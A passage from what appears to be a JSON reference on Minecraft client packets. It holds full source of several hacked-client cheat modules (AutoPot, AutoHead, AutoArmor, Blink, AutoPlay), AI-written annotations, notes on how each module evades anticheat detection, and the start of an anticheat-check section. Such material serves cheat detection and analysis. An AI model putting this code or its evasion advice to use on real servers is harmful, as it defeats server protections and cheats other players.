Thread.sleep(300L); // TODO: fix\n                                            } catch (final InterruptedException e) {\n                                                e.printStackTrace();\n                                            }\n\n                                            if (packet.isEnabled())\n                                                PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C06PacketPlayerPosLook(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, mc.thePlayer.rotationYaw, randomiseRots.isEnabled() ? -RandomUtils.nextFloat(89, 90) : -90, mc.thePlayer.onGround));\n\n                                            needSplash = false;\n                                        }).start();\n                                    } else {\n                                        event.setPitch(randomiseRots.isEnabled() ? RandomUtils.nextFloat(89, 90) : 90);\n                                        if(event.getPitch() > 88) {\n                                            PacketUtil.sendPacket(new C09PacketHeldItemChange(i - 36));\n                                            PacketUtil.sendPacket(new C08PacketPlayerBlockPlacement(itemStack));\n                                            switchBack = true;\n                                            ticksSinceLastSplash = 0;\n                                            needSplash = false;\n                                        }\n                                    }\n                                } else {\n                                    event.setPitch(randomiseRots.isEnabled() ? RandomUtils.nextFloat(89, 90) : 90);\n                                    if (!needSplash) {\n                                        if (packet.isEnabled())\n                                            PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C06PacketPlayerPosLook(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, mc.thePlayer.rotationYaw, randomiseRots.isEnabled() ? RandomUtils.nextFloat(89, 90) : 90, mc.thePlayer.onGround));\n\n                                        needSplash = true;\n                                    } else {\n                                        event.setPitch(randomiseRots.isEnabled() ? RandomUtils.nextFloat(89, 90) : 90);\n                                        if(event.getPitch() > 88) {\n                                            PacketUtil.sendPacket(new C09PacketHeldItemChange(i - 36));\n                                            PacketUtil.sendPacket(new C08PacketPlayerBlockPlacement(itemStack));\n                                            switchBack = true;\n\n                                            ticksSinceLastSplash = 0;\n                                            needSplash = false;\n                                        }\n                                    }\n                                }\n                                return;\n                            }\n                        }\n                    }\n                }\n            }\n        }\n    }\n}\n\n// NOTE (AI): Rise 5.99 AutoPot: full file. Lines ~126-144 send the item-use C08 for the potion while C09 (line ~72/126/143) switches slots, letting the module drink multiple pots in the time vanilla would drink one.\n",
      "code_source": "Rise 5.99, dev/rise/module/impl/combat/AutoPot.java",
      "vanilla_hook": "PreMotionEvent loop with a TimeUtil cooldown; PacketUtil.sendPacket.",
      "anti_cheat_notes": "The consumption rate is the giveaway; servers with eat-tick validation (checks that the item use duration elapsed) flag instant potion spam. On servers without it, this is a pure DPS gain.",
      "variations": "Memeware AutoPotion/AutoSoup, Rise 5.99 AutoSoup/AutoGap/AutoHead/FastBow/Infinite, Rise 6.2.4/6.1.30 AutoHead/AutoPot, Sigma AutoPot/AutoSoup/AutoGApple/AutoEat all follow the C09-switch + C08-use pattern. November Recode 2.0's AutoPotModule runs a three-stage machine: C09 to the potion slot, C08 with the potion stack, then a wait for S1DPacketEntityEffect before syncing the slot back; the look is spoofed to pitch 90 through RotationManager."
     },
     {
      "name": "AutoHead",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Eat golden heads faster than vanilla allows using the C09 + C08 + C09 packet triple, with a key-binding path for golden apples.",
      "how_it_works": "Below the health threshold with no mouse held, find a head (id 397) or apple (id 322) in the hotbar. For heads, send C09(slot), C08(use, current item), C09(back) with a delay gate. For apples, set inventory.currentItem and press the real use-item key, restoring the slot on release.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, me/AquaVit/liquidSense/modules/combat/AutoHead.java =====\npackage me.AquaVit.liquidSense.modules.combat;\n\nimport net.ccbluex.liquidbounce.event.EventTarget;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.value.BoolValue;\nimport net.ccbluex.liquidbounce.value.IntegerValue;\nimport net.minecraft.client.entity.EntityPlayerSP;\nimport net.minecraft.client.settings.KeyBinding;\nimport net.minecraft.entity.player.InventoryPlayer;\nimport net.minecraft.item.Item;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;\nimport net.minecraft.network.play.client.C09PacketHeldItemChange;\nimport net.minecraft.potion.Potion;\nimport net.ccbluex.liquidbounce.event.MotionEvent;\nimport net.ccbluex.liquidbounce.utils.timer.TimeUtils;\nimport net.ccbluex.liquidbounce.value.FloatValue;\nimport org.lwjgl.input.Mouse;\n\nimport java.util.Random;\n\n@ModuleInfo(name = \"AutoHead\", description = \"AutoHead\", category = ModuleCategory.COMBAT)\npublic class AutoHead extends Module {\n    private boolean eatingApple;\n    private int switched = -1;\n    public static boolean doingStuff = false;\n    private final TimeUtils timer = new TimeUtils();\n    private final BoolValue eatHeads = new BoolValue(\"EatHead\", true);\n    private final BoolValue eatApples = new BoolValue(\"EatApples\", true);\n    private final FloatValue health = new FloatValue(\"Health\", 10.0F, 1.0F, 20.0F);\n    private final IntegerValue delay = new IntegerValue(\"Delay\", 750, 100, 2000);\n\n    @Override\n    public void onEnable() {\n        this.eatingApple = doingStuff = false;\n        switched = -1;\n        timer.reset();\n        super.onEnable();\n    }\n    @Override\n    public void onDisable() {\n        doingStuff = false;\n        if (eatingApple) {\n            repairItemPress();\n            repairItemSwitch();\n        }\n        super.onDisable();\n    }\n\n    private void repairItemPress() {\n        if (mc.gameSettings != null) {\n            final KeyBinding keyBindUseItem = mc.gameSettings.keyBindUseItem;\n            if (keyBindUseItem != null) keyBindUseItem.pressed = false;\n        }\n    }\n\n\n    @EventTarget\n    public void onUpdate(MotionEvent event) {\n        if (mc.thePlayer == null) return;\n        final InventoryPlayer inventory = mc.thePlayer.inventory;\n        if (inventory == null) return;\n        doingStuff = false;\n        if (!Mouse.isButtonDown(0) && !Mouse.isButtonDown(1)) {\n            final KeyBinding useItem = mc.gameSettings.keyBindUseItem;\n\n            if (!this.timer.hasReached(delay.get())) {\n                eatingApple = false;\n                repairItemPress();\n                repairItemSwitch();\n                return;\n            }\n\n            if (mc.thePlayer.capabilities.isCreativeMode || mc.thePlayer.isPotionActive(Potion.regeneration) ||mc.thePlayer.getHealth() >= health.get()) {\n                this.timer.reset();\n                if (eatingApple) {\n                    eatingApple = false;\n                    repairItemPress();\n                    repairItemSwitch();\n                }\n                return;\n            }\n\n            for (int i = 0; i < 2; i++) {\n                final boolean doEatHeads = i != 0;\n\n                if (doEatHeads) {\n                    if (!this.eatHeads.get()) continue;\n                } else {\n                    if (!this.eatApples.get()) {\n                        eatingApple = false;\n                        repairItemPress();\n                        repairItemSwitch();\n                        continue;\n                    }\n                }\n\n                int slot;\n\n                if (doEatHeads) {\n                    slot = this.getItemFromHotbar(397);\n                } else {\n                    slot = this.getItemFromHotbar(322);\n                }\n\n                if (slot == -1) continue;\n\n                final int tempSlot = inventory.currentItem;\n\n                doingStuff = true;\n                if (doEatHeads) {\n                    mc.thePlayer.sendQueue.addToSendQueue(new C09PacketHeldItemChange(slot));\n                    mc.thePlayer.sendQueue.addToSendQueue(new C08PacketPlayerBlockPlacement(inventory.getCurrentItem()));\n                    mc.thePlayer.sendQueue.addToSendQueue(new C09PacketHeldItemChange(tempSlot));\n                    timer.reset();\n                } else {\n                    inventory.currentItem = slot;\n                    useItem.pressed = true;\n                    if (eatingApple) continue; // no message spam\n                    eatingApple = true;\n                    this.switched = tempSlot;\n                }\n\n\n            }\n        }\n    }\n\n    private void repairItemSwitch() {\n        final EntityPlayerSP p = mc.thePlayer;\n        if (p == null) return;\n        final InventoryPlayer inventory = p.inventory;\n        if (inventory == null) return;\n        int switched = this.switched;\n        if (switched == -1) return;\n        inventory.currentItem = switched;\n        switched = -1;\n        this.switched = switched;\n    }\n\n    private int getItemFromHotbar(final int id) {\n        for (int i = 0; i < 9; i++) {\n            if (mc.thePlayer.inventory.mainInventory[i] != null) {\n                final ItemStack is = mc.thePlayer.inventory.mainInventory[i];\n                final Item item = is.getItem();\n                if (Item.getIdFromItem(item) == id) {\n                    return i;\n                }\n            }\n        }\n        return -1;\n    }\n\n}\n\n// NOTE (AI): The head path is the C09 + C08 + C09 triple: switch to the head slot, send the item-use C08 with the now-held stack, switch back. The apple path instead presses the real use-item key and restores the slot on release, so the two consumables use different desync strategies.\n",
      "code_source": "LiquidSense Dev, me/AquaVit/liquidSense/modules/combat/AutoHead.java",
      "vanilla_hook": "MotionEvent with a TimeUtils delay gate; the packets go through sendQueue.addToSendQueue.",
      "anti_cheat_notes": "The packet triple skips the client's use-tick timer entirely, which is exactly what consumption-rate checks measure; the 750 ms default delay keeps it near human eat speed.",
      "variations": "Same triple in the C09 impl; November's AutoPotModule adds the S1D effect wait between use and slot restore."
     },
     {
      "name": "AutoArmor",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Equip the best armor automatically; the hotbar path equips through the C08 placement form with a C09 switch pair around it.",
      "how_it_works": "On Render3D, compute the best piece per armor type with ArmorComparator. move() for hotbar items sends C09(item), C08(placement with the slot's stack), C09(current); other items go through C16 open-inventory, windowClick and C0D close, all gated by InventoryUtils.CLICK_TIMER and a random delay.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/combat/AutoArmor.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.features.module.modules.combat;\n\nimport net.ccbluex.liquidbounce.event.EventTarget;\nimport net.ccbluex.liquidbounce.event.Render3DEvent;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.injection.implementations.IItemStack;\nimport net.ccbluex.liquidbounce.utils.InventoryUtils;\nimport net.ccbluex.liquidbounce.utils.MovementUtils;\nimport net.ccbluex.liquidbounce.utils.item.ArmorComparator;\nimport net.ccbluex.liquidbounce.utils.item.ArmorPiece;\nimport net.ccbluex.liquidbounce.utils.timer.TimeUtils;\nimport net.ccbluex.liquidbounce.value.BoolValue;\nimport net.ccbluex.liquidbounce.value.IntegerValue;\nimport net.minecraft.client.gui.inventory.GuiInventory;\nimport net.minecraft.item.ItemArmor;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;\nimport net.minecraft.network.play.client.C09PacketHeldItemChange;\nimport net.minecraft.network.play.client.C0DPacketCloseWindow;\nimport net.minecraft.network.play.client.C16PacketClientStatus;\n\nimport java.util.List;\nimport java.util.Map;\nimport java.util.stream.Collectors;\nimport java.util.stream.IntStream;\n\n@ModuleInfo(name = \"AutoArmor\", description = \"Automatically equips the best armor in your inventory.\", category = ModuleCategory.COMBAT)\npublic class AutoArmor extends Module {\n\n    public static final ArmorComparator ARMOR_COMPARATOR = new ArmorComparator();\n\n    private final IntegerValue maxDelayValue = new IntegerValue(\"MaxDelay\", 200, 0, 400) {\n        @Override\n        protected void onChanged(final Integer oldValue, final Integer newValue) {\n            final int minDelay = minDelayValue.get();\n\n            if (minDelay > newValue) set(minDelay);\n        }\n    };\n    private final IntegerValue minDelayValue = new IntegerValue(\"MinDelay\", 100, 0, 400) {\n\n        @Override\n        protected void onChanged(final Integer oldValue, final Integer newValue) {\n            final int maxDelay = maxDelayValue.get();\n\n            if (maxDelay < newValue) set(maxDelay);\n        }\n    };\n    private final BoolValue invOpenValue = new BoolValue(\"InvOpen\", false);\n    private final BoolValue simulateInventory = new BoolValue(\"SimulateInventory\", true);\n    private final BoolValue noMoveValue = new BoolValue(\"NoMove\", false);\n    private final IntegerValue itemDelayValue = new IntegerValue(\"ItemDelay\", 0, 0, 5000);\n    private final BoolValue hotbarValue = new BoolValue(\"Hotbar\", true);\n\n    private long delay;\n\n    @EventTarget\n    public void onRender3D(final Render3DEvent event) {\n        if ((mc.thePlayer.capabilities.allowFlying && mc.thePlayer.capabilities.isFlying) || !InventoryUtils.CLICK_TIMER.hasTimePassed(delay) ||\n                (mc.thePlayer.openContainer != null && mc.thePlayer.openContainer.windowId != 0))\n            return;\n\n        // Find best armor\n        final Map<Integer, List<ArmorPiece>> armorPieces = IntStream.range(0, 36).filter(i -> {\n                    final ItemStack itemStack = mc.thePlayer.inventory.getStackInSlot(i);\n\n                    return itemStack != null && itemStack.getItem() instanceof ItemArmor && (i < 9 || System.currentTimeMillis() - ((IItemStack) (Object) itemStack).getItemDelay() >= itemDelayValue.get());\n                })\n                .mapToObj(i -> new ArmorPiece(mc.thePlayer.inventory.getStackInSlot(i), i))\n                .collect(Collectors.groupingBy(ArmorPiece::getArmorType));\n\n        final ArmorPiece[] bestArmor = new ArmorPiece[4];\n\n        for (final Map.Entry<Integer, List<ArmorPiece>> armorEntry : armorPieces.entrySet()) {\n            bestArmor[armorEntry.getKey()] = armorEntry.getValue().stream()\n                    .max(ARMOR_COMPARATOR).orElse(null);\n        }\n\n        // Swap armor\n        for (int i = 0; i < 4; i++) {\n            final ArmorPiece armorPiece = bestArmor[i];\n\n            if (armorPiece == null)\n                continue;\n\n            int armorSlot = 3 - i;\n\n            final ArmorPiece oldArmor = new ArmorPiece(mc.thePlayer.inventory.armorItemInSlot(armorSlot), -1);\n\n            if (oldArmor.getItemStack() == null || !(oldArmor.getItemStack().getItem() instanceof ItemArmor) ||\n                    ARMOR_COMPARATOR.compare(oldArmor, armorPiece) < 0) {\n                if (oldArmor.getItemStack() != null && move(8 - armorSlot, true))\n                    return;\n\n                if (move(armorPiece.getSlot(), false))\n                    return;\n            }\n        }\n    }\n\n    /**\n     * Shift+Left clicks the specified item\n     *\n     * @param item        Slot of the item to click\n     * @param isArmorSlot\n     * @return True if it is unable to move the item\n     */\n    private boolean move(int item, boolean isArmorSlot) {\n        if (!isArmorSlot && item < 9 && hotbarValue.get()) {\n            mc.getNetHandler().addToSendQueue(new C09PacketHeldItemChange(item));\n            mc.getNetHandler().addToSendQueue(new C08PacketPlayerBlockPlacement(mc.thePlayer.inventoryContainer.getSlot(item).getStack()));\n            mc.getNetHandler().addToSendQueue(new C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem));\n\n            delay = TimeUtils.randomDelay(minDelayValue.get(), maxDelayValue.get());\n\n            return true;\n        } else if (!(noMoveValue.get() && MovementUtils.isMoving()) && (!invOpenValue.get() || mc.currentScreen instanceof GuiInventory) && item != -1) {\n            final boolean openInventory = simulateInventory.get() && !(mc.currentScreen instanceof GuiInventory);\n\n            if (openInventory)\n                mc.getNetHandler().addToSendQueue(new C16PacketClientStatus(C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT));\n\n            mc.playerController.windowClick(mc.thePlayer.inventoryContainer.windowId, isArmorSlot ? item : (item < 9 ? item + 36 : item), 0, 1, mc.thePlayer);\n\n            delay = TimeUtils.randomDelay(minDelayValue.get(), maxDelayValue.get());\n\n            if (openInventory)\n                mc.getNetHandler().addToSendQueue(new C0DPacketCloseWindow());\n\n            return true;\n        }\n        \n        return false;\n    }\n\n}\n\n// NOTE (AI): The move() method is the C08 and C09 hit: for hotbar armor it sends C09 to the item slot, the C08 placement with the slot's stack (which equips the armor server-side), then C09 back to the current slot. Non-hotbar items go through C16 open inventory, windowClick and C0D close, all gated by InventoryUtils.CLICK_TIMER so clicks never overlap.\n",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/combat/AutoArmor.java",
      "vanilla_hook": "Render3DEvent; C09/C08/C09 via getNetHandler().addToSendQueue.",
      "anti_cheat_notes": "The C08-equip trick does not open the inventory, so the server never sees a GUI transition; the click-timer gate keeps the equip rate inside click-window plausibility.",
      "variations": "Same slot pair in the C09 impl; November has no AutoArmor in the corpus."
     },
     {
      "name": "Blink",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Hold C08 (and the whole movement and action set) while blinking, replaying the queue on pulse or disable.",
      "how_it_works": "PacketEvent cancels C03 plus the C04/C06/C08/C0A/C0B/C02 set and parks them in a LinkedBlockingQueue; pulse mode flushes on a 500-5000 ms timer, disable flushes everything through the network manager with a disableLogger guard so the flush does not re-trigger the listener.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/player/Blink.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.features.module.modules.player;\n\nimport net.ccbluex.liquidbounce.LiquidBounce;\nimport net.ccbluex.liquidbounce.event.EventTarget;\nimport net.ccbluex.liquidbounce.event.PacketEvent;\nimport net.ccbluex.liquidbounce.event.Render3DEvent;\nimport net.ccbluex.liquidbounce.event.UpdateEvent;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.features.module.modules.render.Breadcrumbs;\nimport net.ccbluex.liquidbounce.utils.render.ColorUtils;\nimport net.ccbluex.liquidbounce.utils.render.RenderUtils;\nimport net.ccbluex.liquidbounce.utils.timer.MSTimer;\nimport net.ccbluex.liquidbounce.value.BoolValue;\nimport net.ccbluex.liquidbounce.value.IntegerValue;\nimport net.minecraft.client.entity.EntityOtherPlayerMP;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\n\nimport java.awt.*;\nimport java.util.LinkedList;\nimport java.util.concurrent.LinkedBlockingQueue;\n\nimport static org.lwjgl.opengl.GL11.*;\n\n@ModuleInfo(name = \"Blink\", description = \"Suspends all movement packets.\", category = ModuleCategory.PLAYER)\npublic class Blink extends Module {\n\n    private final LinkedBlockingQueue<Packet> packets = new LinkedBlockingQueue<>();\n    private EntityOtherPlayerMP fakePlayer = null;\n    private boolean disableLogger;\n    private final LinkedList<double[]> positions = new LinkedList<>();\n\n    private final BoolValue pulseValue = new BoolValue(\"Pulse\", true);\n    private final IntegerValue pulseDelayValue = new IntegerValue(\"PulseDelay\", 1000, 500, 5000);\n\n    private final MSTimer pulseTimer = new MSTimer();\n\n    public IntegerValue getValue() {\n        return pulseDelayValue;\n    }\n\n    @Override\n    public void onEnable() {\n        if(mc.thePlayer == null)\n            return;\n\n        if (!pulseValue.get()) {\n            fakePlayer = new EntityOtherPlayerMP(mc.theWorld, mc.thePlayer.getGameProfile());\n            fakePlayer.clonePlayer(mc.thePlayer, true);\n            fakePlayer.copyLocationAndAnglesFrom(mc.thePlayer);\n            fakePlayer.rotationYawHead = mc.thePlayer.rotationYawHead;\n            mc.theWorld.addEntityToWorld(-1337, fakePlayer);\n        }\n\n        synchronized(positions) {\n            positions.add(new double[] {mc.thePlayer.posX, mc.thePlayer.getEntityBoundingBox().minY + (mc.thePlayer.getEyeHeight() / 2), mc.thePlayer.posZ});\n            positions.add(new double[] {mc.thePlayer.posX, mc.thePlayer.getEntityBoundingBox().minY, mc.thePlayer.posZ});\n        }\n\n        pulseTimer.reset();\n    }\n\n    @Override\n    public void onDisable() {\n        if(mc.thePlayer == null)\n            return;\n\n        blink();\n        if (fakePlayer != null) {\n            mc.theWorld.removeEntityFromWorld(fakePlayer.getEntityId());\n            fakePlayer = null;\n        }\n    }\n\n    @EventTarget\n    public void onPacket(PacketEvent event) {\n        final Packet<?> packet = event.getPacket();\n\n        if (mc.thePlayer == null || disableLogger)\n            return;\n\n        if (packet instanceof C03PacketPlayer) // Cancel all movement stuff\n            event.cancelEvent();\n\n        if (packet instanceof C03PacketPlayer.C04PacketPlayerPosition || packet instanceof C03PacketPlayer.C06PacketPlayerPosLook ||\n                packet instanceof C08PacketPlayerBlockPlacement ||\n                packet instanceof C0APacketAnimation ||\n                packet instanceof C0BPacketEntityAction || packet instanceof C02PacketUseEntity) {\n            event.cancelEvent();\n\n            packets.add(packet);\n        }\n    }\n\n    @EventTarget\n    public void onUpdate(UpdateEvent event) {\n        synchronized(positions) {\n            positions.add(new double[] {mc.thePlayer.posX, mc.thePlayer.getEntityBoundingBox().minY, mc.thePlayer.posZ});\n        }\n\n        if(pulseValue.get() && pulseTimer.hasTimePassed(pulseDelayValue.get())) {\n            blink();\n            pulseTimer.reset();\n        }\n    }\n\n    @EventTarget\n    public void onRender3D(Render3DEvent event) {\n        final Breadcrumbs breadcrumbs = (Breadcrumbs) LiquidBounce.moduleManager.getModule(Breadcrumbs.class);\n        final Color color = breadcrumbs.colorRainbow.get() ? ColorUtils.rainbow() : new Color(breadcrumbs.colorRedValue.get(), breadcrumbs.colorGreenValue.get(), breadcrumbs.colorBlueValue.get());\n\n        synchronized(positions) {\n            glPushMatrix();\n\n            glDisable(GL_TEXTURE_2D);\n            glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);\n            glEnable(GL_LINE_SMOOTH);\n            glEnable(GL_BLEND);\n            glDisable(GL_DEPTH_TEST);\n            mc.entityRenderer.disableLightmap();\n            glBegin(GL_LINE_STRIP);\n            RenderUtils.glColor(color);\n            final double renderPosX = mc.getRenderManager().viewerPosX;\n            final double renderPosY = mc.getRenderManager().viewerPosY;\n            final double renderPosZ = mc.getRenderManager().viewerPosZ;\n\n            for(final double[] pos : positions)\n                glVertex3d(pos[0] - renderPosX, pos[1] - renderPosY, pos[2] - renderPosZ);\n\n            glColor4d(1, 1, 1, 1);\n            glEnd();\n            glEnable(GL_DEPTH_TEST);\n            glDisable(GL_LINE_SMOOTH);\n            glDisable(GL_BLEND);\n            glEnable(GL_TEXTURE_2D);\n            glPopMatrix();\n        }\n    }\n\n    @Override\n    public String getTag() {\n        return String.valueOf(packets.size());\n    }\n\n    private void blink() {\n        try {\n            disableLogger = true;\n\n            while (!packets.isEmpty()) {\n                mc.getNetHandler().getNetworkManager().sendPacket(packets.take());\n            }\n\n            disableLogger = false;\n        }catch(final Exception e) {\n            e.printStackTrace();\n            disableLogger = false;\n        }\n\n        synchronized(positions) {\n            positions.clear();\n        }\n    }\n}\n\n// NOTE (AI): The onPacket handler cancels C03 and the C04/C06/C08/C0A/C0B/C02 set and parks them in a LinkedBlockingQueue; the blink() flush sends them via the network manager directly, guarded by disableLogger so the flush does not re-trigger the listener. Pulse mode flushes on a 500-5000 ms timer.\n",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/player/Blink.java",
      "vanilla_hook": "PacketEvent (cancel and queue), UpdateEvent (pulse bookkeeping), onDisable (flush).",
      "anti_cheat_notes": "Holding C08 during a blink hides the item-use state change along with the movement gap; the pulse window bounds the freeze so the server never sees a long silent stretch.",
      "variations": "The same file backs the C03 entry; the C08 inclusion is part of the all-packets freeze, not a placement trick."
     },
     {
      "name": "AutoPlay",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Auto-join the next game: BLOCKS_MC mode finds the paper item in the hotbar, clicks it with the C09/C08 pair, and restores the slot.",
      "how_it_works": "Scan the hotbar for Items.paper, send C09(paperSlot) and the item-use C08 silently, then InventoryManager.sync(). The HYPIXEL and MUSH_MC modes instead re-send the play command extracted from the win/lose chat click event, and never touch C08.",
      "detailed_code": "// ===== FILE: November Recode 2.0, feature/module/impl/player/AutoPlayModule.java =====\n/* November.lol © 2023 */\npackage lol.november.feature.module.impl.player;\n\nimport lol.november.November;\nimport lol.november.feature.module.Category;\nimport lol.november.feature.module.Module;\nimport lol.november.feature.module.Register;\nimport lol.november.feature.setting.Setting;\nimport lol.november.listener.bus.Listener;\nimport lol.november.listener.bus.Subscribe;\nimport lol.november.listener.event.net.EventPacket;\nimport lol.november.listener.event.player.EventUpdate;\nimport lol.november.utility.math.timer.Timer;\nimport net.minecraft.event.ClickEvent;\nimport net.minecraft.init.Items;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.play.client.C01PacketChatMessage;\nimport net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;\nimport net.minecraft.network.play.client.C09PacketHeldItemChange;\nimport net.minecraft.network.play.server.S02PacketChat;\nimport net.minecraft.network.play.server.S45PacketTitle;\nimport net.minecraft.util.IChatComponent;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\n@Register(\n  name = \"AutoPlay\",\n  description = \"Automatically plays the next game for you\",\n  category = Category.PLAYER\n)\npublic class AutoPlayModule extends Module {\n\n  private final Setting<Mode> mode = new Setting<>(\"Mode\", Mode.HYPIXEL);\n  private final Setting<Double> delay = new Setting<>(\n    \"Delay\",\n    1.5,\n    0.01,\n    0.0,\n    5.0\n  );\n\n  private final Timer timer = new Timer();\n  private String playCommand;\n  private int paperSlot;\n\n  @Override\n  public void disable() {\n    super.disable();\n    playCommand = null;\n\n    if (mode.getValue() == Mode.BLOCKS_MC && paperSlot != -1) {\n      November.instance().inventory().sync();\n    }\n\n    paperSlot = -1;\n  }\n\n  @Subscribe\n  private final Listener<EventUpdate> update = event -> {\n    if (mc.thePlayer.ticksExisted < 10) {\n      paperSlot = -1;\n      playCommand = null;\n      return;\n    }\n\n    if (mode.getValue() == Mode.HYPIXEL || mode.getValue() == Mode.MUSH_MC) {\n      if (\n        playCommand == null ||\n        !timer.passed(delay.getValue().longValue() * 1000L)\n      ) return;\n\n      timer.reset();\n      mc.thePlayer.sendQueue.addToSendQueueSilent(\n        new C01PacketChatMessage(playCommand)\n      );\n    } else if (mode.getValue() == Mode.BLOCKS_MC) {\n      if (paperSlot == -1) {\n        for (int i = 0; i < 9; ++i) {\n          ItemStack itemStack = mc.thePlayer.inventory.getStackInSlot(i);\n          if (itemStack != null && itemStack.getItem() == Items.paper) {\n            paperSlot = i;\n            timer.reset();\n            break;\n          }\n        }\n\n        return;\n      }\n\n      if (!timer.passed(delay.getValue().longValue() * 1000L)) return;\n\n      timer.reset();\n\n      mc.thePlayer.sendQueue.addToSendQueueSilent(\n        new C09PacketHeldItemChange(paperSlot)\n      );\n      mc.thePlayer.sendQueue.addToSendQueueSilent(\n        new C08PacketPlayerBlockPlacement(\n          November.instance().inventory().itemStack()\n        )\n      );\n      November.instance().inventory().sync();\n    }\n  };\n\n  @Subscribe\n  private final Listener<EventPacket.In> packetIn = event -> {\n    if (mode.getValue() == Mode.HYPIXEL) {\n      if (event.get() instanceof S02PacketChat packet) {\n        if (packet.getChatComponent() == null) return;\n\n        String raw = packet.getChatComponent().getUnformattedText();\n        if (\n          raw.contains(\"You won! Want to play again? Click here! \") ||\n          raw.contains(\"You died! Want to play again? Click here! \")\n        ) {\n          timer.reset();\n\n          for (IChatComponent component : packet\n            .getChatComponent()\n            .getSiblings()) {\n            if (\n              component.getUnformattedText().contains(\"Click here!\") &&\n              component.getChatStyle().getChatClickEvent() != null\n            ) {\n              ClickEvent clickEvent = component\n                .getChatStyle()\n                .getChatClickEvent();\n              if (clickEvent.getAction() == ClickEvent.Action.RUN_COMMAND) {\n                playCommand = clickEvent.getValue();\n                timer.reset();\n                return;\n              }\n            }\n          }\n        }\n      } else if (event.get() instanceof S45PacketTitle packet) {\n        if (packet.getMessage() == null) return;\n      }\n    }\n  };\n\n  private enum Mode {\n    HYPIXEL,\n    BLOCKS_MC,\n    MUSH_MC,\n  }\n}\n\n// NOTE (AI): The BLOCKS_MC branch is the C08 and C09 hit: it scans the hotbar for paper, sends C09 to the paper slot and the item-use C08, then calls InventoryManager.sync() to restore the visible slot. The HYPIXEL branch never sends C08; it re-sends the play command from the chat click event.\n",
      "code_source": "November Recode 2.0, feature/module/impl/player/AutoPlayModule.java",
      "vanilla_hook": "EventUpdate with a delay timer; addToSendQueueSilent for the packets.",
      "anti_cheat_notes": "The paper click is a single legitimate right-click, so it reads as a player action; the silent send queue is what keeps the module's own listeners from seeing it.",
      "variations": "Only November Recode 2.0 in the corpus; the same module handles C01 and S45 elsewhere."
     }
    ],
    "general_hooks": "PreMotionEvent / UpdateEvent for the send loop; PacketSendEvent in Rise 5.99 Scaffold to silence C09; direct PacketUtil.sendPacket or sendQueue.addToSendQueue everywhere else.",
    "client_variations": "Rise 5.99/6.x use PacketUtil.sendPacket and can replace packets on the event (event.setPacket). Memeware/Nekoware/Spicy construct C08 directly and push via sendQueue or PacketUtil. Sigma routes through playerController for clicks but constructs C08 raw for use spam. Tenacity sends via NetHandler.addToSendQueueNoEvent in ScaffoldModule and references C08 in PacketUtil.",
    "related": [
     "S23PacketBlockChange",
     "S2FPacketSetSlot",
     "C09PacketHeldItemChange",
     "C0BPacketEntityAction"
    ],
    "anticheat": {
     "overview": "The block placement packet reports a position, face, cursor vector and held item, and it doubles as the use-item packet. Anticheats use it to validate placement reach and rotation (Grim FarPlace), the hit vector of scaffold clicks (FlopAC ScaffoldA), placement speed and direction (NCP blockplace suite), and the item actually held (Negativity Scaffold). Because scaffolding cheats click the top face center of the block below at full speed, placement checks are the server-side counter to scaffold modules.",
     "checks": [
      {
       "name": "FarPlace (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Reach check for block placement: verifies that the placed block is within the player's block interaction range.",
       "how_it_works": "A BlockPlaceCheck listening on the BlockPlace update produced from the packet. It iterates every possible eye height, cuts a collision box for the placed block to the player position vector, and takes the minimum squared distance. The threshold is the BLOCK_INTERACTION_RANGE attribute plus the movement threshold hypot component, with scaffolding blocks exempt. On a flag it resyncs the player when packet modification is allowed.",
       "detects": "Scaffold and far-place cheats that place blocks beyond the interaction range, including clients that fake the placement position.",
